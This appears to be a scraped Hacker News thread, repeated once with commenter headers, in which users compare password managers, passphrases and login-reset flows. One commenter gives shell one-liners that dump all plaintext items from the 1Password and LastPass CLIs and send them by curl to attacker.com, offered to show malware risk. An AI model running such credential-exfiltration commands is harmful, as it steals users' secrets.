My go-to recommendation has been Bitwarden, but if you're worried about an external dependency and don't want to run their self-hosted option, then I've found KeePassXC to be fantastic too. I have to use it on my client development macbook due to their security rules and was initially very reluctant to move away from Bitwarden. The client's security dept says no password manager can request stuff from outside the machine it's installed on.
KeePassXC is a little clunky to set up the link between your local instance and your browser(s) but once that is done, it's straightforward and seems to work very well.
EDIT: Bitwarden recently added passphrases to its generator feature. I personally prefer long random passwords but I know some folks prefer to remember a phrase.
I can say the same re: KeepassXC. I'm using it on all my devices (except Keepass2Android on my phone) and synchronize the database using Syncthing. Works like a charm.
The one gripe I have with it is its KeeAgent emulation on Windows: It works with Putty (AFAIK) and Microsoft's official OpenSSH port (which gets more and more out of date), but it doesn't mesh well with MSYS2 or Cygwin. And interoperability between those is still really poor.
Your edit conveys a strong anti pattern, at least in the sense password managers are mostly used. The entire point is to not remember passwords. Hence the name LastPass, for example (“the last password you will have to remember” aka the master password). Hence also completely random, entirely impossible to learn passwords.
However! The passphrases are very useful for situations where the password also needs to be remembered and actually typed by hand on occasion. I have a single such case, my Active Directory work account. Need to login to Windows but also to various platforms in the browser.
"at least 8 characters, uppercase/lowercase, numbers, special characters" - I thought the more current recommendation was to use a longer passphrase rather than an overcomplicated and hard to remember password? Of course this hasn't yet got through to many sites, and apparently also not to all security experts...
As for "love", I don't think LastPass (which is unfortunately mandated by my company) loves me, and when I see its egregious UI and its idiotic prompts to fill in passwords on sites to which they don't belong to (not to mention prompting me to save passwords which I definitely don't want to save to LastPass, but unfortunately the popup only has a "Not now" button, not a "No, never" button), I don't really have any love for it either...
A passphrase isn't stronger than a password created using those rules - it's preferable if your strategy is to remember your passwords. The problem is that there are so many logins it's hard to keep track. So the temptation is to start reusing passphrases across sites which is the big no no because every site will be breached eventually, it's just a matter of time. And once your passphrase is compromised attackers will start credential stuffing on every other site of interest, looking for where you have reused it.
Of course 2fa, hashing, salting, etc are better solutions but there you're putting your security in the hands of some unknown developers and hoping they know what they're doing.
Security in depth is all about layers. Password managers aren't the perfect solution to the user layer, but for me they're the least worst option.
+1 for KeypassXC. For those looking for an iOS app, I recommend Strongbox[1]. It’s open-source and it’s the most feature complete solution I’ve found. (Not affiliated, just a happy user)
I'm a big fan of Enpass [1]. It's user friendly enough for the not so technical members of my family to use it and importantly (for me) sync is achieved via encrypted files stored on Google Drive (other services such as Dropbox are also supported).
Given today's cloud hardware availability the leaking of the hash of an 8 character password is only good for a few days. The current reasonable minimum is 12 characters.
bcrypt, scrypt, argon2 or any other reasonably strong password hash will not be cracked in a few days (unless the passwords are simple dictionary words).
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked.
Here are some trivial examples of how malware can steal credentials in bulk.
Example: Exfiltrate all plaintext credentials from 1password
``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
Example: Exfiltrate all plaintext credentials from lastpass
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
Password managers are like the next ransomware target. All your eggs in one basket, doesnt cost much to obtain a selection of the most popular, work out how they work and then just target them.
My mom and stepdad use a piece of paper for their passwords. Old passwords are crossed out, and it sorta works as a "secure" password manager.
Like most people, they still occasionally forget what a password is for a give site/app. At that point they proceed to the password reset flow and (hopefully) cross out the old password and write down the new one (accurately).
Most password reset flows use email. Aside from state sponsored efforts, password reset flows are "downgraded" to using a user's email address:
> Click here to recover your login ID. (user gets email with a link or text with the "username")
> Click here to reset your password. (user gets email with a link to reset password)
If the site provides a level of 2FA or hint:
> Enter your 2FA token from your authentication app, or...
> Enter your mother's maiden name.
Once 2FA is confirmed, or doesn't exist, the password flow continues:
> Type in a password (various requirements for a password ensue)
> Login again with the recovered "username" and password. (user tries to login again)
Struggle with saving new password to various password managers ensues.
> Login is successful, or not.
If password flows are "secured" with emailed links, why not just make "logins" use emailed links, with some one-time token that just logs them in? This would make any login to a site/app as "secure" as the user's email login:
> Type in email address (user is sent a one-time login token to click or enter)
> Type in the one-time token (user is logged in if the token is correct)
If the token is wrong, reset the token and take no action. Also, logging the user out on a shorter interval gets them comfortable with this regular "login" process.
A more speedy login can be achieved by collecting the user's phone number. If the phone number is successfully collected, logins can proceed:
> Type in email address (user's phone is sent a short code)
> Type in the code sent to the phone (if it's wrong, reset it and tell the user to try again)
> Add 2FA on top of this to secure SMS security deficiencies
This simplified "reset password" flow is then presented as an alternate solution to logging in without passwords, to a given app or site.
I'm trying to switch to a better model for personal security. What is the reasonably secure stack for it? I currently use Vaultwarden and AndOTP but have been considering the Password Store and a Yubikey.
You are fundamentally correct: to make your passwords safe from hackers you are making them harder for yourself to access (in this case by requiring MFA). Accessing your passwords now requires having access to a device (your second factor).
There are recovery mechanisms that you can set up ahead of time (a series of recovery codes for example), but for the most part I would agree with your premise: you will have a very hard time accessing your accounts if you ever lose your primary devices. For me the security benefit is worth the inconvenience.
You can get around this by backing up your database of passwords onto a pendrive, for example, and then installing the password manager on to a fresh device. You will be able to gain access to your old password file from this if you remember your password.
[+] [-] bloopernova|4 years ago|reply
KeePassXC is a little clunky to set up the link between your local instance and your browser(s) but once that is done, it's straightforward and seems to work very well.
EDIT: Bitwarden recently added passphrases to its generator feature. I personally prefer long random passwords but I know some folks prefer to remember a phrase.
[+] [-] btschaegg|4 years ago|reply
The one gripe I have with it is its KeeAgent emulation on Windows: It works with Putty (AFAIK) and Microsoft's official OpenSSH port (which gets more and more out of date), but it doesn't mesh well with MSYS2 or Cygwin. And interoperability between those is still really poor.
[+] [-] diarrhea|4 years ago|reply
However! The passphrases are very useful for situations where the password also needs to be remembered and actually typed by hand on occasion. I have a single such case, my Active Directory work account. Need to login to Windows but also to various platforms in the browser.
[+] [-] rob74|4 years ago|reply
As for "love", I don't think LastPass (which is unfortunately mandated by my company) loves me, and when I see its egregious UI and its idiotic prompts to fill in passwords on sites to which they don't belong to (not to mention prompting me to save passwords which I definitely don't want to save to LastPass, but unfortunately the popup only has a "Not now" button, not a "No, never" button), I don't really have any love for it either...
[+] [-] cookie_monsta|4 years ago|reply
[+] [-] xcambar|4 years ago|reply
* KeepassXC on desktop (linux)
* KeepassDX on mobile (Android)
It's synced any way you like: NextCloud, Syncthing, Dropbox, you name it.
[+] [-] u2077|4 years ago|reply
https://strongboxsafe.com/
[+] [-] joefarish|4 years ago|reply
[1] https://www.enpass.io/
[+] [-] voltaireodactyl|4 years ago|reply
[+] [-] boloust|4 years ago|reply
In case anyone gets confused, this is not true.
[+] [-] ptoomey3|4 years ago|reply
[+] [-] PaulKeeble|4 years ago|reply
[+] [-] bloopernova|4 years ago|reply
Far too many sites out there reject longer passwords, or have a strange dislike of a single special character (which of course differs between sites)
Let me use 64 character passwords, dammit!
[+] [-] _wldu|4 years ago|reply
[+] [-] lrvick|4 years ago|reply
Example: Exfiltrate all plaintext credentials from 1password
``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
Example: Exfiltrate all plaintext credentials from lastpass
``` lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
[+] [-] Terry_Roll|4 years ago|reply
[+] [-] aborsy|4 years ago|reply
[+] [-] kordlessagain|4 years ago|reply
Like most people, they still occasionally forget what a password is for a give site/app. At that point they proceed to the password reset flow and (hopefully) cross out the old password and write down the new one (accurately).
Most password reset flows use email. Aside from state sponsored efforts, password reset flows are "downgraded" to using a user's email address:
> Click here to recover your login ID. (user gets email with a link or text with the "username")
> Click here to reset your password. (user gets email with a link to reset password)
If the site provides a level of 2FA or hint:
> Enter your 2FA token from your authentication app, or...
> Enter your mother's maiden name.
Once 2FA is confirmed, or doesn't exist, the password flow continues:
> Type in a password (various requirements for a password ensue)
> Login again with the recovered "username" and password. (user tries to login again)
Struggle with saving new password to various password managers ensues.
> Login is successful, or not.
If password flows are "secured" with emailed links, why not just make "logins" use emailed links, with some one-time token that just logs them in? This would make any login to a site/app as "secure" as the user's email login:
> Type in email address (user is sent a one-time login token to click or enter)
> Type in the one-time token (user is logged in if the token is correct)
If the token is wrong, reset the token and take no action. Also, logging the user out on a shorter interval gets them comfortable with this regular "login" process.
A more speedy login can be achieved by collecting the user's phone number. If the phone number is successfully collected, logins can proceed:
> Type in email address (user's phone is sent a short code)
> Type in the code sent to the phone (if it's wrong, reset it and tell the user to try again)
> Add 2FA on top of this to secure SMS security deficiencies
This simplified "reset password" flow is then presented as an alternate solution to logging in without passwords, to a given app or site.
What am I missing here?
[+] [-] yewenjie|4 years ago|reply
[+] [-] wintermutestwin|4 years ago|reply
I'm traveling. My phone and laptop are lost or stolen. I am now unable to log in to anything?
[+] [-] mbildner|4 years ago|reply
There are recovery mechanisms that you can set up ahead of time (a series of recovery codes for example), but for the most part I would agree with your premise: you will have a very hard time accessing your accounts if you ever lose your primary devices. For me the security benefit is worth the inconvenience.
[+] [-] Zuider|4 years ago|reply
[+] [-] abhaynayar|4 years ago|reply